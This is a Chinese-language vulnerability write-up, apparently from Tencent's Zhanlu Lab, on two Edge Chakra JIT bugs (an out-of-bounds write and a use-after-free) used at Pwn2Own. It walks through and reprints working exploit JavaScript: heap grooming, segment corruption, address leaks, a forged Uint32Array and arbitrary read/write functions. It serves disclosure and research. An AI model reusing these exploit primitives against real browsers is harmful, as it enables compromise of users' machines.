來源:騰訊安全湛瀘實驗室
作者:騰訊安全湛瀘實驗室

??0x00背景

今年3月結束的Pwn2own比賽中,湛瀘實驗室1秒內攻破史上最高難度的Edge瀏覽器,拿到首個單項最高分14分。此次比賽湛瀘實驗室準備了多個Edge漏洞和windows10內核提權漏洞,相關漏洞信息已經報告給微軟。本文粗略介紹一下Pwn2Own比賽中湛瀘實驗室所用到的兩個Edge漏洞,以及漏洞利用中的DVE(Data-Virtualization Execute)技術。這兩個Edge漏洞我們實驗室都完成了利用,在利用的細節上和之前IE上的cve-2014-6332有著異曲同工之妙。即DVE技術的基本思想:程序的一切皆是數據,通過修改程序的關鍵數據結構來控制程序執行,從而繞過所有Mitigation機制。下面筆者將較為細致地分析Pwn2own比賽的漏洞成因和利用過程,現在就開始Pwn2Own的旅程吧。Let’s go!!!!

0x01 漏洞簡介

去年,湛瀘實驗室發現Chakra引擎中ArrayBuffer對象的兩個神洞,一個越界訪問(CVE:2017-0234)和一個釋放后重用(CVE:2017-0236)。這兩個漏洞的特殊之處在于漏洞的觸發路徑都在chakra引擎生成的jit 代碼中。下面,筆者就和大家分享這兩個漏洞的相關細節。

0x02漏洞成因

先看下面這段JS代碼:

function write(begin,end,step,num)

{

 for(var i=begin;i<end;i+=step) view[i]=num;

}

var buffer =  new ArrayBuffer(0x10000);

var view   =  new Uint32Array(buffer);

write(0,0x4000,1,0x1234);

write(0x3000000e,0x40000010,0x10000,1851880825);

其中,執行write(0,0x4000,1,0x1234)這句JS,會讓chakra引擎針對write函數中的for循環生成Jit code。JIT生成的循環代碼調用入口在chakra!Js::InterpreterStackFrame::DoLoopBodyStart,我們對這個函數下斷,即可跟蹤到write函數中for循環對應的Jit code。

?JIT經過一些列準備工作,最終來到JITLoop代碼部分:

看一下JIT對這個for循環生成的匯編代碼:

?代碼稍微行數多一點,分開解釋分析,for循環頭部是獲取for循環相關的參數

R12=0x0001000000010000  //這里是取出for循環的step=0x0001000000010000

R13=0x000100006e617579  //這里是取出view數組要賦予的值0x000100006e617579

R14=0x0001000040000010  //這里是取出for循環的end=0x0001000040000010

R15=0x000100003000000e  //這里是取出for循環的start=0x000100003000000e

在這里可以發現每一個數值的高四位有一個1,是用來區分這個值是對象還是int類型的

1 表示數據int,0 表示obj

0:010>

rax=0000000000000001 rbx=00000186e9c00000 rcx=00000186e9800dc0

rdx=0000000000010000 rsi=00000186e95d68c4 rdi=00000036be1fb900

rip=00000187e9f00122 rsp=00000036be1fb5d0 rbp=00000036be1fb670

 r8=000000003000000e  r9=0000000040000010 r10=000100006e617579

r11=0000000000000001 r12=000100006e617579 r13=000100006e617579

r14=0001000040000010 r15=000100003000000e

iopl=0         nv up ei pl zr na po nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246   

mov     dword ptr [rbx+r8*4],r12d ds:00000187`a9c00038=????????

最終代碼運行到此處,rbx是buffer對象的內存基地址,r8是數組索引0x3000000e,r12給數組賦予的值,整個過程沒有檢測索引的范圍造成了數組越界。當然漏洞不僅僅這一個,仔細推敲上述過程,我們可以發現,JIT在使用buffer對象的緩沖區域時并沒有檢測buffer對象是否被分離釋放,這就是我們發現的第二個漏洞。可能細心點的讀者都發現了,寫入的地址不可訪問,都是?????????,那為什么漏洞會利用成功而且不崩潰呢?請看下文。

0x03 漏洞利用

只有crash是遠遠不夠的,還記得yuange曾經說過:”exp的價值遠遠大于poc”。下面筆者將分析一下兩個漏洞的利用技術,兩個漏洞成因極為相似,所以在利用技術上也很相近。

觸發UAF漏洞主要代碼如下:

var buffer = new ArrayBuffer(0x10000);

var view = new Uint32Array(buffer);

var worker = new Worker('uaf1.js');

worker.postMessage(buffer,[buffer]);

worker.terminate();

主要邏輯:

1)申請一個ArrayBuffer類型的數組變量buffer對象

2)緊接著新建Uint32Array類型的數組對象view,引用上面的buffer對象

3)通過調用postMessage(buffer,[buffer])和terminate()會將buffer對象申請的緩沖區內存徹底釋放,這里是觸發UAF的關鍵。work.postMessage移交buffer對象所有權, terminate()結束worker線程的時候會釋放掉buffer這個對象原來申請的內存。

4)然而在類型數組view中卻仍然保留著buffer對象申請的緩沖區內存的引用,并且引用時沒有做檢查,所以造成UAF 漏洞。.

越界代碼因為ArrayBuffer對象申請4G虛擬空間,占位內存必須在ArrayBuffer的4G空間之后,這樣兩個漏洞利用就只有占位空間不一樣,利用TypedArray寫內存的索引不一樣。UAF漏洞占位在原有buffer對象申請的緩沖區空間,OOB漏洞占位在其后4G空間。這樣OOB漏洞寫占位內存時,索引需要增加0x100000000/4=0x40000000,其它都相同。

1. 詳細分析

我們來跟蹤一下UAF的漏洞利用相關代碼。 1)首先,申請一個ArrayBuffer類型的數組變量buffer,找到這個buffer變量,看一下內存結構

?rcx是ArrayBuffer對象,0x00000186-e9c00000是buffer對象申請的緩沖區內存,0x00000000-00010000 是buffer長度 ?下面是buffer的內存部分大小0x10000

?2)緊接著新建Uint32Array類型的變量view,引用上面的buffer,然后write(0,0x4000,1,0x1234); //大循環操作內存,讓chakra引擎生成JIT代碼 使用view對象操作ArraryBuffer的內存,看看被修改的buffer對象緩沖區這塊內存,內存布局如下

?3)通過調用postMessage(buffer,[buffer])和terminate()會將buffer的緩沖區內存空間徹底釋放。執行terminate之后釋放了buffer對象的緩沖區內存,buffer指針被置空,長度值為0,(0x00000001-00000000實際代表長度為零)。

worker.postMessage(buffer,[buffer]);

worker.terminate();當worker調用postMessage的時候會發生Detach操作

?會調用 Js::ArrayBufferDetachedStateBase *__fastcall Js::ArrayBuffer::DetachAndGetState—> chakra!Js::ArrayBuffer::ClearParentsLength 把對象的長度清掉

?此時還沒有清掉內存,后續函數會把內存釋放掉。

4)然而在變量view 中卻仍然保留著buffer對象緩沖區的引用,所以造成UAF 漏洞。下面內存是view對象的,此時View對buffer對象申請的緩沖區的引用仍然存在,也就是地址并沒有清零

?此時我們看一下內存情況,buffer對象申請的緩沖區是不能被訪問的

?已經被系統給回收了。 這樣我們再占位這內存后,利用view對象去操作這塊內存就造成了UAF漏洞。

2. 漏洞利用&Pwn

漏洞原因已經比較清晰了,but, How to Pwn?繼續分析, 利用技術要點: 1)UAF漏洞在釋放buffer對象的緩沖區后,緊接著通過分配Array 來占用已釋放的緩沖區內存。OOB漏洞不需要前面的釋放buffer對象緩沖區代碼,最終占位的是緩沖區4G后的空間。 代碼如下:

for(var i=0;i<0x1000;i+=1)

{

arr[i]=new Array(0x800);

arr[i][1]=25959;

arr[i][0]=0;

}

2)通過write向占位的arr寫入標記,然后檢測arr定位到占位成功的arr。OOB漏洞調用write寫的時候,索引begin和end都需要加上0x40000000。

for(var i=0;i<0x1000;i+=1)

{

arr[i]=new Array(0x800);

arr[i][1]=25959;

arr[i][0]=0;

write(0x0e,0x00010,0x1000,1851880825);

if(arr[i][0]==1851880825)

{

1851880825 這個奇怪數值是什么呢?程序員看到這個數字大腦絕對是崩潰的,其實1851880825是”yuange”字符串中的”yuan”,25959是”yuange”中的”ge”,占位成功的話就拼接出”yuange”這個字符串。

?然后利用占位的數組,精心的構造一個對象,

?0x6e617579是標記,0x6567也是一個標記

//arr[i+1](arrvar) 的數據區緊鄰arr[i](arrint)的數據區,都在釋放了的buffer對象的緩沖區空間內

arr[i+1]=new Array(0x400);

arr[i+1][1]=buffer;

arr[i+1][0]=0;

getarrint(i);

}

}

函數getarrint 的定義如下:

function getarrint(i)

{

arr[i].length=0x10000;

arrint=arr[i];

arrvar=arr[i+1];

write(0x09,0x001000,0x100000,0x0001000);

write(0x0a,0x001000,0x100000,0x0001000);

}

//這里兩個write修改占位成功的arrint 對象的segment 的size和length 字段

?下面可以看到已經成功修改了segment 的size和length字段 之前這個對象內存如下0x00000002 代表存儲int的個數,從后面的內存可以看到,這里存儲了0x6e617579和0x00006567兩個值,0x6e617579是JIT代碼寫進來的,覆蓋了arr[i][0]=0這個值。

?修改這個有什么作用呢?其實此時已經得到了一個長度為0x1000的seg, seg中元素個數為0x1000,此時就能越界對后面內存進行讀寫訪問了。

?這個先放在這,后面要用到。下一步就是偽造一個fakeview,進而完成任意地址讀寫。

3)此時的內存布局如下:

Buffer--------> ---------------------------

| 0x20 內存塊頭部|

Arrint.seg--------->| |

| |

| |

| 0x3000 內存塊|

| |

| |

Arrvar.seg———>| |

| |

| |

| |

| |

內存就是下面這樣,注意連個地址之間相隔0x3020,中間是占位產生的數據

?arrint是NativeIntArray, 其seg的size為0x802,每個元素的長度為4byte,共為0x802*4+0x20+0x18=0x2040bytes長度,然后因為內存頁對齊的原因為0x3000byte,所以中間空余了0x3000。此時我們可以通過arrint越界去讀寫arrvar的buffer部分了,這就已經完成對象地址的泄露了。

function getobjadd(myvar)

{

  arrvar[3]=myvar;

  uint32[0]=arrint[0xc06];

  return  arrint[0xc07]*0x100000000+uint32[0];    

}

4)緊接著通過調用fakeview 函數來偽造一個完全可控的TypedArray對象myview 實現任意地址讀寫。

var buffer1 = new ArrayBuffer(0x100);

var view1 = new Uint32Array(buffer1);

var view2 = new Uint32Array(buffer1);

var view3 = new Uint32Array(buffer1);

var view4 = new Uint32Array(buffer1);

function fakeview( )

{

arrint.length=0xffff0000; //arrint長度修改

?arrvar[0]=buffer1;

arrvar[1]=view2;

arrvar[2]=0;

//修改arrint 的segment.next 指向view2+0x28

write(0x00000d,0x001000,0x100000,arrint[0xc03]);

write(0x00000c,0x001000,0x100000,arrint[0xc02]+0x28); ?View+0x28位置是存放的buffer1對象的地址: ?使用arrint[0xc00]越界就可以獲取到buffer1對象地址0x186-e96a5300低4字節。 uint32[0]=arrint[0xc00];

index=uint32[0];

//中間使用unit32[0]是用來做符號轉換的,index就是buffer1對象的地址低4字節。因為seg.next指向view2+0x28,view2+0x28的值為buffer1,所以下一個seg的seg.left就是buffer1的低4字節,這個段的索引號就是從index開始。

Seg的頭長度0x18,后面接的是具體數組數據,這樣0x28+0x18=0x40,view2對象的長度是0x40,這時候seg的數組數據區域就剛好指向下一個view對象0x186`e9800dc0,可能是緊挨著的view1或者view3。

//通過越界讀復制view1或者view3 對象的0x40字節到view4 的buff 區域

for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];

//恢復segment.next

write(0x0d,0x0001000,0x100000,0);

write(0x0c,0x0001000,0x100000,0);

View4對象內存如下,View4的buffer地址為0x17e-e425ae40,現在這個已經是我們偽造出來的myview的結構體部分

?myview 的內存布局如下:

arrint[0xc04]=view4[0x0e];

arrint[0xc05]=view4[0x0f];

// view4[0xe]和view4[0x0f]對應的就是view4引用的buffer1對象的數據緩沖區,也就是偽造的myview對象的地址,取出來保存到arrvar[2]位置。這樣就把偽造的view對象通過arrvar[2]做對象引出,可以JS直接引用。

myview=arrvar[2];

}

得到了需要的偽造的TypedArray對象myview,整個對象結構體在view4里,可以通過view4去修改。myview 的內存布局如下:

myview是Uint32Array對象,結構體中存了一個64位數組數據緩沖區指針,我們已經具備了修改這個對象結構的能力,那么我們可以通過修改這個指針,通過類型數組做到任意地址讀寫。

5)此時myview 便偽造成功,由于myview 整個都在view4 的buff 空間中,所以view4 可以對myview 進行任意讀寫,而此時myview 也被edge 識別為Uint32Array 對象類型。即可實現任意讀寫,代碼如下:

function readuint32(address)

{

view4[0x0e]=address%0x100000000;

view4[0x0f]=address/0x100000000;

return myview[0];

}

function writeuint32(address,num)

{

view4[0x0e]=address%0x100000000;

view4[0x0f]=address/0x100000000;

myview[0]=num;

}

加上前面已經實現的任意對象地址讀取

function getobjadd(myvar)

{

  arrvar[3]=myvar;

  uint32[0]=arrint[0xc06];

  return  arrint[0xc07]*0x100000000+uint32[0];    

}

這樣可以獲取任意我們需要的對象地址,然后讀寫和修改對象數據,繼續bypass各種利用緩解措施,得到代碼執行能力等,從這里開始就獲得了和上帝一樣的能力。

0x04漏洞攻擊(Fire Now!!!)

攻擊效果就是百發百中,指哪打哪。

0x05 漏洞精華

筆者才疏學淺,深知自己不能完全領會漏洞利用的全部,但是也總結一下調試過程中發現漏洞利用精華和奇妙的地方,

1) 這個漏洞在沒有占位成功的時候,向已經釋放的內存中寫入數據并不會導致程序崩潰,這就大大的增加了漏洞利用程序的穩定性。

?調試的時候,發現這個buffer在沒有完成占位的情況下,對buffer的寫入操作并不會崩潰,這個異常會被edge自己處理掉,不會導致崩潰發生,這樣就會讓exploit程序非常的穩定。也是非常感嘆這是兩個非常好用的神洞啊。也就是文中前面留下的那個神秘問題。

2) 漏洞利用精髓自然是DVE方法精確的數據控制能力,通過漏洞的內存修改能力,修改arrint對象的seg的數據結構,然后arrint和arrvar互相配合實現類型混淆,可以對對象任意讀寫偽造,這和cve-2014-6332的DVE利用代碼的兩個數組交錯修改具有異曲同工之秒。完成任意地址讀寫,然后通過修改對象數據,打開“上帝模式”。

0xFF總結

通過上述分析,筆者逐漸領悟到DVE技術的精髓:通過修改關鍵數據結構來獲取任意數據操縱的能力,這就是袁哥所說的“上帝之手”。然后借”上帝之手”繞過dep+alsr+cfg+rfg等漏洞防御技術,最后配合內核漏洞,完成整個Exploit Chain的攻擊。感謝分析過程中yuange的指導和實驗室小伙伴的幫助,筆者能力有限,分析有誤的地方還望大家指出。最后,歡迎對二進制漏洞研究感興趣的小伙伴加入騰訊湛瀘實驗室,發送簡歷到yuangeyuan@tencent.com。

部分關鍵利用代碼:

for(var i=0;i<0x1000;i+=1)

{

   arr[i]=new Array(0x800);

   arr[i][1]=25959;

   arr[i][0]=0;

   write(0x0e,0x00010,0x1000,1851880825);

   if(arr[i][0]==1851880825)

   {      

      arr[i+1]=new Array(0x400);

      arr[i+1][1]=buffer;

      arr[i+1][0]=0;

      getarrint(i);

      fakeview();

      document.write("<br><br> find i="+i+"<br>");

      bypassdepcfg();

      break;

   }

}

function getarrint(i)

{  

  arr[i].length=0x10000;

  arrint=arr[i];  

  arrvar=arr[i+1];

  write(0x09,0x001000,0x100000,0x0001000);

  write(0x0a,0x001000,0x100000,0x0001000);

}

function fakeview( )

{

  arrint.length=0xffff0000;  

  arrvar[0]=buffer1;

  arrvar[1]=view2;

  arrvar[2]=0;

  write(0x0d,0x001000,0x100000,arrint[0xc03]);

  write(0x0c,0x001000,0x100000,arrint[0xc02]+0x28);    

  uint32[0]=arrint[0xc00];

  index=uint32[0];

  for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];

  write(0x0d,0x0001000,0x100000,0);

  write(0x0c,0x0001000,0x100000,0);   

  arrint[0xc04]=view4[0x0e];

  arrint[0xc05]=view4[0x0f];

  myview=arrvar[2];

}

????


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/301/